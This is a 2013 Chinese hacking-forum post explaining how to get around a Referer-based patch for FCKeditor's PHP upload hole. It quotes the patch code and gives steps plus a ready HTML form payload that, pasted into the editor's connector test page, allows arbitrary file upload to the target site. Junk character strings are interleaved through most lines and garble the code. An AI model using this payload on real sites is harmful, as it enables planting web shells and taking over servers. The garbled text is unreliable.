找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
  i& D* ^8 m- |) C' U% j网上给出的修复方案是
: L  n' I/ r! R) f7 g修复方法,删除FCK编辑器用其他的编辑器
  I( C; \3 u4 N! F& e8 x* l或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
8 r# g8 F' g# ~" i# W3 l  U
" K* P3 W% q7 }2 u6 W3 nrequire(‘config.php’);
. l8 x0 l+ B' z: S$ R8 A: u# r: G5 Y" Jrequire(‘util.php’);
' j- E' s( [4 U4 Z: G0 |9 l  h的下面添加以下代码—————————–$ i8 ]" n$ d+ l! l, W  s
//防止外部提交1 J( Y2 G1 J2 ]# |8 t
function outsidepost()/ S; w8 G4 }2 q$ U  F
{
# G* k7 I3 A* L  j0 r: ?7 U$servername=$_SERVER['SERVER_NAME'];
9 h: T. z# ~! J' }5 x% m$sub_from=@$_SERVER['HTTP_REFERER'];
/ N5 d( z0 i6 ?. q( i1 u% Y* a$sub_len=strlen($servername);3 Y) ^+ i9 {( }& M5 o
$checkfrom=substr($sub_from,7,$sub_len);/ q  [& Q( p* }% ~( a
if($checkfrom!=$servername){2 G1 r5 z& ?2 V' P
echo(“you don’t outsidepost!”);
5 R4 L" C. D7 mexit;
) G" y+ ^4 `& ~4 f* w9 y2 L}! r& J( O9 p; Z% I, Y7 _; @
}
' t9 Q' }: Z/ T( V- Ioutsidepost();/ N/ m/ h: R1 Q# J
防止外部提交,但是没有防止内部提交,* o8 i8 `+ q3 x
利用方法:
2 X7 H/ ~0 U& I) f* E1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
0 K' a: A8 h3 s9 a2,在Current Folder 框输入) R+ ?% K6 L% m
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
! a: m! h0 k# k% L然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。8 @8 v7 I0 C4 L. W3 g9 f: q5 L
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表